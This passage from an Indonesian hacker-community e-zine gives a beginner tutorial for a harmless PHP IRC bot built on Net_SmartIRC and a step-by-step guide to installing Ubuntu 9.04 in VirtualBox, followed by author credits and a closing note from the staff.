lanjutkan dan edit hal-hal dasar seperti channel Anda, dan nama server. Sekarang, mari kita lihat apa yang sudah dilakukan script ini. class mybot { function test(&$irc, &$data) { $irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, $data->nick.': It works!'); } function quit(&$irc, &$data) { if ($data->nick == "YourNickHere") { $irc->disconnect(); }}} Class ini adalah bot Anda. Semua tanggapan yang ditetapkan diprogram di sini. Kita dapat melihat bahwa kita memiliki fungsi bernama “test” yang mengambil dua argumen. “Irc” dan “data.” Irc objek adalah agar kita dapat berinteraksi dengan saluran di dalam IRC bot. Sedangkan data objek sebagian besar berisi data pesan. Kita akan berbicara mengenai hal ini nanti. Sekarang, mari kita melihat pernyataan di dalam fungsi ini pada Class ini. Kita memanggil salah satu fungsi di dalam IRC objek, pesan. Kita mengirimkan pesan dengan jenis “SMARTIRC_TYPE_CHANNEL,” yang berarti kita mengirimnya ke channel. Pesan target kita adalah $data->channel, yang diatur secara otomatis ke channel asal. Pesan kita adalah $data->nick.’: It works!’, Yang sangat mudah dipahami jika anda tahu PHP Anda. Kita juga menetapkan fungsi keluar yang disarankan, karena kita harus merestart bot setiap kali kita menambahkan fungsi. Fungsi keluar hanya berfungsi jika “Anda” adalah satu-satunya pemberi perintah, jadi silahkan edit/ubah baris ini. $bot = &new mybot(); $irc = &new Net_SmartIRC(); $irc->setDebug(SMARTIRC_DEBUG_ALL); $irc->setUseSockets(TRUE); $irc->registerActionhandler(SMARTIRC_TYPE_CHANNEL, '^!test', $bot, 'test'); $irc->connect('irc.server.net', 6667); $irc->login('Net_SmartIRC', 'Net_SmartIRC Client '.SMARTIRC_VERSION.' (yourfilename.php)', 0, 'Net_SmartIRC'); Wow, banyak hal baru di sini. Baiklah, pada baris pertama kita akan membuat sebuah contoh dari mybot, disimpan dalam variabel $bot. Kita juga membuat contoh baru dari perpustakaan, Net_SmartIRC, dan menyimpannya dalam $irc. Kita mengaktifkan semua pesan debug, meskipun anda dapat mengubah ini ke SMARTIRC_DEBUG_NONE jika anda menginginkannya. Baris berikutnya tidak penting, tapi diperlukan, jadi jangan menghapusnya. Ok, sekarang kita di baris yang penting. Tindakan penanganan. Anda akan banyak menggunakan ini, sebenarnya, IRC bot dibangun pada platform tindakan penanganan. Ini pada dasarnya memberitahu $bot untuk memanggil fungsi tes apabila ada yang mengatakan sesuatu yang dimulai dengan !Tes di channel IRC. Devilzc0de Ezine #1 Kemudian kita melakukan koneksi ke server IRC, (Anda akan benar-benar ingin mengubah alamat di sini!) Dan mengirim informasi kita, yang dapat Anda edit. $irc->join(array('#test')); $irc->listen(); $irc->disconnect(); Kita kemudian bergabung dengan array channel. (Anda dapat mengubah baris ini ke $irc->join(array(‘#test’,'#test2′)); atau menambahkan channel sebanyak yang Anda inginkan, atau butuhkan. Kita kemudian memanggil $irc->listen(), yang secara sederhana merupakan sebuah respon tak berbatas yg berulang ke ping server, memeriksa kegiatan penanganan, dan hal menyenangkan lainnya. Jika listen() berhenti dengan alasan apapun, dapat dipastikan bahwa kita terputus dari IRC, dan … File berakhir! Anda dapat menjalankan bot ini cukup dengan menjalankan “php yourfilename.php”, atau mengunjungi php file dalam web browser. Sekarang, mari kita menguji bot! Koneksikan ke server dan bergabung dengan channel yang ditetapkan. Ketik !Test. bot Anda seharusnya merespon. Ketik !quit. Bot Anda seharusnya keluar. Seharusnya mudah untuk mengembangkan hal ini dan membuat bot Anda lebih baik! Selamat Mencoba! Devilzc0de Ezine #1 VirtualBox adalah salah satu software Virtualisasi yang dapat digunakan untuk menjalankan sistem operasi lain. Misalnya ane melakukan instalasi VirtualBox pada windows, ane bisa menggunakan VirtualBox pada windows untuk menjalankan sistem ubuntu atau distro Linux lainnya. Fungsi ini sangat penting jika kita ingin melakukan ujicoba dan simulasi instalasi maupun melakukan testing suatu sistem tanpa harus kehilangan sistem yang ada. ane bisa mencoba Windows atau Ubuntu atau Fedora atau Red Hat tanpa harus melakukan install ulang windows yang ane gunakan. Aplikasi dengan fungsi sejenis lainnya adalah VMWare dan Microsoft Virtual Server. Apa keuntungan VirtualBox dibandingkan dengan aplikasi sejenis. Yang utama adalah karena Virtual- Box Free dan Open Source. VirtualBox tersedia dalam berbagai edisi namun skema lisensi yang ditawarkan cukup ramah bagi pengguna, misalnya versi OSE (Open Source Edition) yang Free dan Open Source dan versi binary yang free untuk penggunaan personal. nyok mulai…. : ane ndak sempet bahas cara nginstallnya, mudah2an udah pada tau ya, kali ini ane coba untuk menjelaskan cara settinga Vbox untuk isntall ubuntu, jumpgrin: :jumpgrin: Download VirtualBox untuk windows dari http://www.virtualbox.org/wiki/Downloads trus langsung aja install, sampe selesai, kalo nginstall kan mudah ya cuman next trooos ampe lampu merah :respect: :respect: , kalo udah siapkan CD ubuntu 9.04 atau dalam format *.iso buka hasil installer,l akan muncul tampilan gini Install Ubuntu 9.04 dengan Virtual Box Devilzc0de Ezine #1 Langsung aja pilih tombol baru / new di bagian atasnya, kemudian langkah selanjutnya adalah menentukan jenis OS yang akan kita pakai kemudian kalo udah langsung aja tekan next, maka selanjutnya kita akan menentukan besar RAM (memory )yang akan kita pakai untuk Vbox, perlu diingat bahwa memory ini jangan gede ngasinya he…he…bisa2 ntar kompi kita jadi lemot, kalo bisa settingnya biarkan default aja, kalo ga ya naikin dikit2 boleh lah Devilzc0de Ezine #1 kemudian kita harus menentukan kapasitas hardisk untuk Os virtual kita, perhatikan juga kapasitas hardisk kita, karena besar ukuran Hd Vbox tidak mutlak akan mengambil besar HD kita, Vbox akan mengambil besar HD sesuai pemakaian aja. Devilzc0de Ezine #1 setelah selesai maka system akan meberikan iformasi configurasi yang telah kita set sebelumnya, Devilzc0de Ezine #1 tekan aja finis langsung, ndak usah plototin tu layar lagi, karena urusan kita dah selesai , trus selajutnya kita tinggal menentukan setingan komputer seperti layakanya komputer biasa, kalo langkah sebelumnya tadi istilahnya kita merakit komputer kita, tetapi secara virtual, nah sekarang kita setting komputer virtual kita, seperti setingan sound, VGA, boot, Ethernet Card Dll, pokoke seperti setingn komputer biasa lah, untuk melakukan itu langsung aja pilih menu setting di bagian atasnya Devilzc0de Ezine #1 setelah tombol setting kita tekan maka Vbox akan menampilkan sederetan informasi komputer virtual kita, seperti spesipikasi hardwere, untuk settingan hardwere virtual ini sebenarnya tergantung pada kita aja mau di setingkaya bijimana, tapi yang terpenting untuk pengistalan adalh pada bagian CD/DVD room karena kita harus mennetukan booring pertama komputer virtual kita, seperti layaknya komputer nyata kan ??? , cuman bedanya kalo komputer nyata kita nyetingnya di Bios Devilzc0de Ezine #1 ah kalo udah tinggal pilih kita pake CD/DVD kepingan atao format iso, pada kasus ini ane make yang CD/DVD kepingan ubuntu 9.04, maklum kalo iso HD ane bengkak kalo udah langsung aja selesaikan tugas kita untuk urusan seting2an, dengan menekan tombol OK, langsung aja tekan tombol start / mulai utnuk memulai pengistallan ubuntu 9.04 dengan komputer virtual kita yang baru Devilzc0de Ezine #1 Pilih bahasa dan tekan kemudian tekan ENTER, maka ente-emte semua aan di bawa menuju ke halaman berikutnya Pilih “Install Ubuntu” kemudian enter Devilzc0de Ezine #1 Installasi Ubuntu proses loading… Kemudian pilih bahasa installasi, kemudian tekan Forward. Pilih negara dan propinsi, dalam contoh ini memilih Eropa dan kota London, kemudian tekan Forward, atau maju… Devilzc0de Ezine #1 Pilih Keyboard biasanya kalo di Indonesia memakai US Internasional…, tapi dalam contoh memakai Inggris UK, tekan Forward… Kemudian akan terlihat ruangan dalam hardisk, pilih untuk membuat partisi baru jika belum ada, atau jika dual boot… Dalam contoh ini memakai VBOX dan menggunakan 8 GB ruang Hardisk…, Untuk Ubuntu ini memakai minimal 6 GB agar lebih aman biasanya… Juga pastikan membuat partisi untuk Swap minimal setengah Giga bytes Devilzc0de Ezine #1 Selanjutnya isikan nama Username, dan apakah mau login otomatis atau tidak, pilih sesukanya… Jika paswword ente kurang kuat atau mudah ditebak maka akan muncul tampilan seperti ini Devilzc0de Ezine #1 Akan muncul list installasi, kemudian jika sudah yakin maka tekan Install… Jika ente memilih instalasi andvance maka akan muncul tampilan seperti ini… Devilzc0de Ezine #1 Gambar progres pemartisian… Proses instalasi sedang berjalan. Installasi selesai maka silahkan di restart Devilzc0de Ezine #1 Inilah tampilan setelah booting di Ubuntu 9.04 Jaunty Jackalope… Desktop Ubuntu 9.04 Jaunty Jackalope ente sudah siap, kemudian silahkan dicoba, jika mau menambahkan MP3 dan lainnya maka silahkan untuk mendownload codexnya, karena memang terpisah dan masuk kategori non free, dalam artian tidak disajikan bersama dalam paket installasi. By : wenkhairu wenkhairu@gayo-cool.net Thanks to All member of http://www.jasakom.com http://www.whitecyber.net http://www.devilzc0de.org Devilzc0de Ezine #1 “Saat ini segalanya yang dihasilkan para penulis benar-benar luar biasa, mereka memberikan kepada kita segalanya. Dan mereka juga melakukannya dari hati dan dengan keikhlasan, Anda dapat melihat dan merasakan bagaimana mereka begitu bergembira dengan semua yang dilakukan dan sumbangkan untuk terbitnya E-Zine. Ini bukan hanya sebuah bahan bacaan biasa, ini adalah bagian dari jiwa mereka, bagian dari yang mereka berikan kepada kita, sebagai sumber pengetahuan, dan amal...” Akhir kata kami segenap Staff Pengurus Devilzc0de mengucapkan banyak terima kasih yang sebesar besarnya kepada pihak pihak yang mendukung dan membantu terlaksananya hingga terbitnya E-Zine ini... Semoga semangat kita semua untuk bersatu dan membangun bisa terjalin dengan baik... Salam...